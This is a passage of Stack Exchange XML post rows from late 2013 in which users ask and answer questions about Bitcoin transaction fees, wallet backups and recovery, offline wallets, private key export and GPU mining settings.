  <row Id="17852" PostTypeId="1" CreationDate="2013-12-03T12:47:58.747" Score="5" ViewCount="213" Body="&lt;p&gt;For example, on the late SilkRoad market, or in bitcoin mixing services.&#xA;They supposedly have a &quot;pool&quot; account (or escrow acct, etc) where all the coins go in to, and from which withdrawals are made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't such a setup be a nightmare regarding how large the transaction fees would be during a withdrawal, due to the large amount of input addresses? At least, from what I understand from fee calculation (honestly, a lot of bitcoin concepts go over my head, no matter how much I reread related articles).&lt;/p&gt;&#xA;" OwnerUserId="10002" LastActivityDate="2013-12-03T22:36:35.407" Title="How do big sites/markets handle the intrinsic &quot;transaction fees&quot;?" Tags="|transaction-fees|escrow|mixing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17854" PostTypeId="2" ParentId="17841" CreationDate="2013-12-03T13:36:01.200" Score="1" Body="&lt;p&gt;I guess you already looked there, but when I open a terminal and enter&lt;br/&gt;&#xA;&lt;code&gt;ls -la ~/Library/Application\ Support/Bitcoin/&lt;/code&gt; &lt;br/&gt;&#xA;I see all the files there, including &lt;code&gt;wallet.dat&lt;/code&gt;. Please note the backslash before the folder name space.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-03T13:36:01.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17856" PostTypeId="1" CreationDate="2013-12-03T14:33:21.327" Score="1" ViewCount="913" Body="&lt;p&gt;A few years ago I purchased some bitcoins from MtGox and decided to retrieve them to the wallet on my PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now without getting into detail I got sick of the headaches and ended up uninstalling the program before I received ANY coins. In retrospect I could not have been a bigger idiot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now these coins are worth a small fortune and I've done everything I could think of to retrieve them. I contacted MtGox and all they could say was that the network says the transaction shows as complete. I have extensively and on a byte level searched the PC in question for remnants of my private key, with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which brings me to the question at hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have my public key, the knowledge the coins were never received and access to the MtGox account they were sent from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do? MtGox simply left it at &quot;the network says it was completed, therefore fuck off&quot; &lt;/p&gt;&#xA;" OwnerUserId="10007" LastEditorUserId="15412" LastEditDate="2014-06-17T21:45:54.440" LastActivityDate="2019-11-03T16:21:36.957" Title="Need help recovering my bitcoins" Tags="|wallet|private-key|lost-bitcoins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17857" PostTypeId="1" CreationDate="2013-12-03T14:41:09.667" Score="0" ViewCount="4191" Body="&lt;p&gt;I have read the answers in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2746/what-is-the-cheapest-bitcoin-prepaid-visa-mastercard-service&quot;&gt;this&lt;/a&gt; question here... But it is incredibly outdated. OKPay no longer accepts Bitcoin to creditcard. bitcashretail.com is down. xmlgold.eu results into an error. Centregold results into a page not found. ecardone.com is seized by the &quot;Global Illicit Financial Team&quot;&#xA;Etc, etc, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think it is time for a new edition of the bitcoin to virtual creditcard question.&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-03-11T09:33:57.013" Title="Bitcoin -&gt; prepaid VISA/Mastercard service (2014 edition)?" Tags="|bitcoin-credit-card|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17858" PostTypeId="2" ParentId="17833" CreationDate="2013-12-03T15:12:04.230" Score="4" Body="&lt;p&gt;Clients do not need to keep the entire blockchain. There are going to be historical transactions that no longer have any coins associated with them. This means that clients could, today, purge a large chunk of the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was mentioned in &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;the original whitepaper&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;7. Reclaiming Disk Space&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;Once the latest transaction in a coin is buried under enough blocks, the spent transactions before it can be discarded to save disk space. To facilitate this without breaking the block's hash, transactions are hashed in a Merkle Tree [7][2][5], with only the root included in the block's hash. Old blocks can then be compacted by stubbing off branches of the tree. The interior hashes do not need to be stored.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2446" LastActivityDate="2013-12-03T15:12:04.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17859" PostTypeId="2" ParentId="17829" CreationDate="2013-12-03T15:28:35.267" Score="1" Body="&lt;p&gt;The fee is the difference between the inputs and outputs, so you can specify the fee by leaving that amount unaccounted for in your transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be careful though, this has lead to 200BTC transaction fees in the past when someone forgot to include a change address: &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1lb5my/asicminer_refunds_the_accidental_200_btc/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1lb5my/asicminer_refunds_the_accidental_200_btc/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-03T15:28:35.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17860" PostTypeId="1" CreationDate="2013-12-03T15:32:08.917" Score="2" ViewCount="1204" Body="&lt;p&gt;about 4 days ago I received 1 bitcoin from localbitcoins.com since then in history it says.....unverified + 1 confirmation. I have switched servers as per forum advice and so far nothing has changed. I want to deposit to another address but am terrified to do it. Please note I am no techie, I copied and pasted my deposit address for this transaction on ?a blockchain thing and it is there, how can speed up the confirmation to get my history to say verified, do I have to donate some coin to the blockchain or what? Please if you can help do so in the most simplistic terms only.....thank you &lt;/p&gt;&#xA;" OwnerUserId="10011" LastActivityDate="2014-05-02T21:15:54.803" Title="1 bitcoin deposited into electrum" Tags="|transactions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17861" PostTypeId="2" ParentId="8239" CreationDate="2013-12-03T15:59:01.717" Score="1" Body="&lt;p&gt;What protects you from a double-spend attack is not how slow or fast are the blocks generated, but the amount of processing power applied into creating those blocks so that it's unfeasible for an attacker to beat the combined hashing power of the rest of the network, minus the uncertainty inherent in the (unavoidable) orphaned blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, whence do you get that the protection for a double spend attack comes from 6 blocks in Bitcoin, but 150 in Litecoin? Even a very naïf analysis would yield 24 blocks which still equals an hour (4x generation speed, I wait for 4x blocks). It's actually just 12 blocks, so only need to wait for half an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to accept a virtual currency in exchange of a cup of coffee, I'd definitely prefer Litecoin if only because of this.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-03T15:59:01.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17862" PostTypeId="1" CreationDate="2013-12-03T16:15:31.040" Score="6" ViewCount="1587" Body="&lt;p&gt;I'm a really beginner, I have no client on my computer. I puchased bicoin and store them in my wallet at blockchain.info, and I have downloaded the &quot;backup file&quot; named &quot;wallet.aes.json&quot;.&#xA;My concern is if someday the website of blockchain.info shuts down, can I get my bitcoins by importing the backup file into a client software? I also have my &quot;key&quot; which is a long code that looks like an bitcoin address, and my understanding is that the backup file also only consist of my address and that key.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10012" LastActivityDate="2013-12-03T17:07:57.457" Title="Is my wallet at blockchain.info still mine if the website shuts down" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17863" PostTypeId="2" ParentId="17751" CreationDate="2013-12-03T16:16:43.017" Score="1" Body="&lt;p&gt;There are a number of sample programs here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1026.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1026.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see the wiki for the &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;step-by-step algorithm for generating a valid address.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-12-03T16:16:43.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17864" PostTypeId="2" ParentId="17848" CreationDate="2013-12-03T16:20:35.130" Score="1" Body="&lt;p&gt;Well an exchange isn't usually selling directly, it's simply hooking up buyers and sellers. A large enough exchange can do this pretty quickly and easily. So the biggest barrier is getting bootstrapped which might mean starting with a volume to sell and buy yourself. And providing incentives over the already-existing exchanges for both parties. &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-12-03T16:20:35.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17865" PostTypeId="2" ParentId="13419" CreationDate="2013-12-03T16:33:45.540" Score="0" Body="&lt;p&gt;I can imagine a future in which banks or other financial institutions (operating with Bitcoins, of course) run their own mining rigs and include their (outbound) clients' transactions in the blocks they mine as a service. Should they either extract a fee from their users (for keeping their money &quot;safe&quot;) or apply a partial reserve system (so they earn money by lending), it would be a fee by another name meaning their mining would still be profitable even though they wouldn't be earning money directly through collection of transaction fees. There's money to be made in many ways...&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-03T16:33:45.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17866" PostTypeId="2" ParentId="3508" CreationDate="2013-12-03T16:35:55.147" Score="0" Body="&lt;p&gt;The best referral scheme I have seen so far is the Bitcoin wallet &lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt; is a cloud-based Bitcoin wallet that allows users to buy and sell bitcoins with a US bank account, send and receive bitcoins with an email address, and accept bitcoin payments as a merchant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scheme offers 0.01 BTC to the referrer and the referee upon completion of a 1 BTC buy or sell transaction within 90 days of the referee joining the site. The program works even if the user closes the browser and comes back later. So long as they click your link the referral program will work so long as they join within 90 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, links are provided to share on your Facebook, Twitter and Google+ accounts which will also generate referrals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also invite your Gmail contacts through the site generating further referrals. &lt;/p&gt;&#xA;" OwnerUserId="9957" LastEditorUserId="323" LastEditDate="2013-12-03T22:12:17.970" LastActivityDate="2013-12-03T22:12:17.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17867" PostTypeId="1" AcceptedAnswerId="17875" CreationDate="2013-12-03T16:44:54.493" Score="0" ViewCount="153" Body="&lt;p&gt;I know nothing of bitcoin and would really appreciate any help and suggestions. &lt;/p&gt;&#xA;" OwnerUserId="10015" LastActivityDate="2013-12-03T18:24:12.510" Title="Where is the safest place to trade? Open account? Wallet?" Tags="|wallet|bitcoin-core-accounts|trade|" AnswerCount="1" CommentCount="1" ClosedDate="2013-12-07T12:08:05.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="17869" PostTypeId="2" ParentId="17862" CreationDate="2013-12-03T16:56:07.467" Score="1" Body="&lt;p&gt;You can import this backup to Multibit, and you are good to go, even if blockchain.info is dead. (To be honest, this is my setup as well). Remember to keep your secret safe and use 2FA.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2013-12-03T16:56:07.467" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17870" PostTypeId="2" ParentId="17862" CreationDate="2013-12-03T17:07:57.457" Score="1" Body="&lt;p&gt;As long as you have recent backups (meaning you have to keep making backups everytime you do a transaction) and know the passphrase you should be able to access your coins should blockchain.info go down. But it is not recommended to use blockchain.info for storing large amounts i.e. amounts that you can't afford to loose. Blockchain.info wallets have a tendency to get hacked. I recommend installing electrum and sending your coins over to your electrum wallet. &lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-03T17:07:57.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17871" PostTypeId="2" ParentId="17860" CreationDate="2013-12-03T17:11:15.437" Score="1" Body="&lt;p&gt;This is a common problem with electrum and nothing for you to worry about. As long as the transaction has confirmed in the blockchain it means that the coins are yours. Usually restarting electrum &quot;fixes&quot; this. Try restarting it a few times.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-03T17:11:15.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17873" PostTypeId="2" ParentId="17856" CreationDate="2013-12-03T17:21:13.103" Score="2" Body="&lt;p&gt;First step: stop using that harddisk absolutely immediately. Either get a new one and start using that or make a complete image on the byte level (for example with dd in linux). Any write action you do on your current disk may overwrite your private key (assuming it hasn't already).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further steps you need to provide more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which bitcoin wallet were you using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was your wallet encrypted with a password, do you remember?&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-12-03T17:21:13.103" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="17874" PostTypeId="2" ParentId="17411" CreationDate="2013-12-03T17:49:40.570" Score="1" Body="&lt;p&gt;I don't know of any that implement the advanced features in the protocol. But I do know of two sites that make it easier to do escrow transactions with 2 of 2 secrets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.bitescrow.org/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bit2factor.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.bit2factor.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was also a bounty on the forums for an easy to use n of m escrow application that emailed all parties involved their secrets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=294606.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=294606.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-03T17:49:40.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17875" PostTypeId="2" ParentId="17867" CreationDate="2013-12-03T18:24:12.510" Score="0" Body="&lt;p&gt;Depending on the country you are in there are various ways to buy bitcoin. My default recommendation for US buyers is to use Coinbase.com or check out localbitcoins.com for a face to face trade.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-03T18:24:12.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17877" PostTypeId="1" CreationDate="2013-12-03T18:46:03.467" Score="1" ViewCount="684" Body="&lt;p&gt;Let's say I make an offline wallet from a live cd with bitcoins-qt.&#xA;I make some addresses (10 pcs.)&#xA;I encrypt the wallet. Save it on a usb (wallet.dat).&#xA;I then send over some bitcoins to one of my newly made ​​addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I run my normal OS (online) and install bitcoins-qt, download the whole block chain.&#xA;Closes bitcoins-qt.&#xA;Replaces wallet.dat with my encrypted wallet.dat&#xA;Starts bitcoins-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I see the balance of my addresses, without decrypting the wallet?&#xA;Is it once I'll send them as I have to decrypt it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this works ... Can I in any way try to decrypt the same wallet offline (without the block chain?) To ensure that I can access it, the day I'll send my bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a security risk with going online with my wallet.dat if I never decrypts it online?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I know that I can see my balance online without the private key.&#xA;But I can't think of any other way to make 100% sure I can access my bitcoins in the future?&#xA;1.First I make sure that my wallet.dat is working and does have my adresses and the correct amount of bitcoins. (without decrypting it).&#xA;2.Then I go offline and make sure I can decrypt the exact same wallet.dat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="10023" LastEditorUserId="10023" LastEditDate="2013-12-03T19:15:42.847" LastActivityDate="2013-12-03T21:22:54.370" Title="Make sure my offline Wallet is ok?" Tags="|wallet|wallet.dat|offline|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17878" PostTypeId="2" ParentId="17877" CreationDate="2013-12-03T19:01:27.047" Score="0" Body="&lt;p&gt;You can see your balance on blockchain.info without having access to the private key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I think Armory has feature called a &quot;watching address&quot; that lets you have addresses in your wallet that cannot be spent&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditDate="2013-12-03T19:11:03.190" LastActivityDate="2013-12-03T19:11:03.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17879" PostTypeId="2" ParentId="9956" CreationDate="2013-12-03T19:46:23.547" Score="-1" Body="&lt;p&gt;Yes. The problem is if one will remain rich. You can make money of the bitcoin speculation but you should sell it when production is getting near the end. &lt;/p&gt;&#xA;" OwnerUserId="9970" LastActivityDate="2013-12-03T19:46:23.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17880" PostTypeId="1" CreationDate="2013-12-03T19:50:04.323" Score="5" ViewCount="1979" Body="&lt;p&gt;I want to keep some NMC offline. Is there a way to generate an offline wallet like bitaddress.org that I can run on a live CD, generate wallet and keep offline?&lt;/p&gt;&#xA;" OwnerUserId="10028" LastActivityDate="2014-01-15T18:04:54.043" Title="Namecoin Offline Wallet Generator" Tags="|namecoin|paper-wallet|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17881" PostTypeId="2" ParentId="17877" CreationDate="2013-12-03T19:52:12.073" Score="1" Body="&lt;p&gt;If you just want to check if your wallet/password is working, you can do so using the bigcoin-qt debug window. To open the window, select &quot;Help&quot; from the menu bar, and then &quot;Debug Window&quot;. Once you open the debug window, you can type this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &quot;your walletpassphrase here&quot; 600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to unlock your wallet. If the command completes without an error, you wallet has been decrypted successfully. If you get an error, your wallet couldn't be decrypted. From that same console, you can type this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listaddressgroupings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to see the addresses stored in the wallet. When you are finished, type this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletlock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to lock the wallet. You do not need to be on the internet to do this, so you could do it from your live cd. I also believe you can do this without having downloaded the block chain, but I haven't tested it so I'm not 100% sure. Additionally, the commands available from the debug window are listed &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; if there are other things you would like to check.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2013-12-03T19:52:12.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17883" PostTypeId="2" ParentId="17568" CreationDate="2013-12-03T20:31:14.310" Score="1" Body="&lt;p&gt;So I set this bounty and then was able to make some progress by following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/3.7/SCRYPT-README&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckolivas/cgminer/blob/3.7/SCRYPT-README&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my 7950, without even fine tuning it, the mining speed went from 15 to 515.  Using cgminer-3.7.2, this is the command I used.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;./cgminer --scrypt --intensity 20  --auto-fan --gpu-powertune -10  -u hnaparst.1 -p password -o stratum+tcp://pool1.us.multipool.us:7777 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditDate="2013-12-03T21:40:32.537" LastActivityDate="2013-12-03T21:40:32.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17884" PostTypeId="2" ParentId="13824" CreationDate="2013-12-03T20:40:46.837" Score="1" Body="&lt;p&gt;Read this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/3.7/SCRYPT-README&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ckolivas/cgminer/blob/3.7/SCRYPT-README&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In particular:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;--intensity XX (-I XX)&lt;/p&gt;&#xA;&lt;p&gt;Just like in bitcoin mining, scrypt mining takes an intensity, however the&#xA;scale goes from 0 to 20 to mimic the &amp;quot;Aggression&amp;quot; used in mtrlt's reaper. The&#xA;reason this is crucial is that too high an intensity can actually be&#xA;disastrous with scrypt because it CAN run out of ram. High intensities&#xA;start writing over the same ram and it is highly dependent on the GPU, but they&#xA;can start actually DECREASING your hashrate, or even worse, start producing&#xA;garbage with HW errors skyrocketing. Note that if you do NOT specify an&#xA;intensity, cgminer uses dynamic mode which is designed to minimise the harm&#xA;to a running desktop and &lt;strong&gt;performance WILL be poor&lt;/strong&gt;. The lower limit to intensity&#xA;with scrypt is usually 8 and cgminer will prevent it going too low.&#xA;&lt;strong&gt;SUMMARY: Setting this for reasonable hashrates is mandatory.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The author of the above is also the author of cgminer, so it is worth reading.  My results immediately improved with this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;./cgminer --scrypt --intensity 20 --auto-fan --gpu-powertune -10&#xA;-u hnaparst.1 -p password -o stratum+tcp://pool1.us.multipool.us:7777&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-12-03T21:38:19.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17885" PostTypeId="1" CreationDate="2013-12-03T20:56:18.737" Score="2" ViewCount="293" Body="&lt;p&gt;When is a Bitcoin Adress considered even or odd?&lt;/p&gt;&#xA;" OwnerUserId="10030" LastEditorUserId="120" LastEditDate="2013-12-04T08:20:02.720" LastActivityDate="2013-12-04T14:21:16.123" Title="When is a Bitcoin Adress considered even and when odd?" Tags="|blockchain|security|address|" AnswerCount="3" CommentCount="2" ClosedDate="2013-12-05T03:27:40.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="17887" PostTypeId="1" CreationDate="2013-12-03T21:17:33.693" Score="8" ViewCount="8049" Body="&lt;p&gt;I'm looking for a way to retrieve all address balances of addresses with a non-zero balance in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a software tool that can calculate the balances in an accessible format?&#xA;Or perhaps I can download them somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an accessible format I mean that it can be interpreted by a computer. Either in a database-structure or in parseable text format.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2022-02-22T21:49:38.567" Title="How to retrieve all addresses with non-zero balance and their balances?" Tags="|blockchain|address|raw-data|balance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17888" PostTypeId="2" ParentId="17877" CreationDate="2013-12-03T21:22:54.370" Score="0" Body="&lt;p&gt;I think you're trying to over complicate the problem by using a bitcoin qt wallet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the purpose of this is for long term cold storage and to ensure in the future you can still access your funds, you should look into storing just the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A private key can be stored in just 64 hexadecimal characters, short enough to be engraved in stone, steel or some other (semi) permanent medium.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a 64 character hex private key, it's a simple process using the brainwallet code on an offline computer to convert the key to a public bitcoin address.  Brainwallet can also sign transactions offline if you provide it with the list of unspent transactions.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-03T21:22:54.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17889" PostTypeId="2" ParentId="17568" CreationDate="2013-12-03T22:04:30.763" Score="3" Body="&lt;p&gt;Your intensity is very low (&lt;code&gt;I:8&lt;/code&gt;) - dynamic intensity does not work well with scrypt. You will need to increase it manually. You can set a value to use when starting the program by adding &lt;code&gt;--intensity 13&lt;/code&gt; to your command line options/batch file. Replace the number 13 with the desired intensity. For a HD6850, I suggest you try values from 10 to 15. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If increasing the value by one notch does not significantly raise kh/s, gives you hardware errors (the number after &lt;code&gt;HW:&lt;/code&gt;) or starts impacting in a noticeable way on desktop performance, then reduce it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also change the intensity whilst cgminer is running. Press g, then i, then carefully type the number, then enter.&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2013-12-03T22:04:30.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17890" PostTypeId="2" ParentId="17885" CreationDate="2013-12-03T22:13:32.050" Score="1" Body="&lt;p&gt;Bitcoin addresses are nor even nor odd. I suppose you have been confused by someone, but there is no such concept of an even or odd address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be possible that someone called an address odd, meaning it is a &quot;strange&quot; address. Addresses may be considered strange when they have an extraordinary format. An example may be an &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;address starting with a different character than &quot;1&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you would really want to classify addresses as odd or even, you could look at the last bit of the hash160 of the address. But an address being either even or odd doesn't have any implication.)&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-03T22:13:32.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17892" PostTypeId="2" ParentId="17880" CreationDate="2013-12-03T22:34:17.190" Score="0" Body="&lt;p&gt;Someone could modify that source code to work with namecoin, but in the meantime here is a workaround:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open namecoin-QT and copy the address you want to export the private key for into the clipboard. Then select help, debug window, and click on the console tab. In the prompt box at the bottom type:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;dumpprivkey {paste namecoin address}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should return the private key (long number starting with a 5)&#xA;Write down the private key and put it somewhere safe. If you want to destroy the original first be sure that you have backed up ALL your private keys, then close namecoin-qt and delete your namecoin wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To recover it you can use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;importprivkey {private key}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After the import you should see the address and funds in the target wallet you are importing the key into, but it will take a bit since the namecoin client needs to look through it's whole history to determine the value on the restored address.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-03T22:34:17.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17893" PostTypeId="2" ParentId="17852" CreationDate="2013-12-03T22:36:35.407" Score="2" Body="&lt;p&gt;Take a look at the Bitcoin wiki page on &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;Transaction Fees&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, a transaction fee is not always required. Miners decide whether to accept transactions without a fee and most miners follow the same decision protocol for that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A transaction may be safely sent without fees if these conditions are met:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;It is smaller than 10,000 bytes.&lt;/li&gt;&#xA;  &lt;li&gt;All outputs are 0.01 BTC or larger.&lt;/li&gt;&#xA;  &lt;li&gt;Its priority is large enough (see the Technical Info section below)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The priority basically adds the notion of age. Outputs that are created some time ago can mostly be sent for free. Very young outputs cannot be spent free. This is to prevent someone from spamming the blockchain with consecutive transactions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Otherwise, the reference implementation will round up the transaction size to the next thousand bytes and add a fee of 0.1 mBTC (0.0001 BTC) per thousand bytes. As an example, a fee of 0.1 mBTC (0.0001 BTC) would be added to a 746 byte transaction, and a fee of 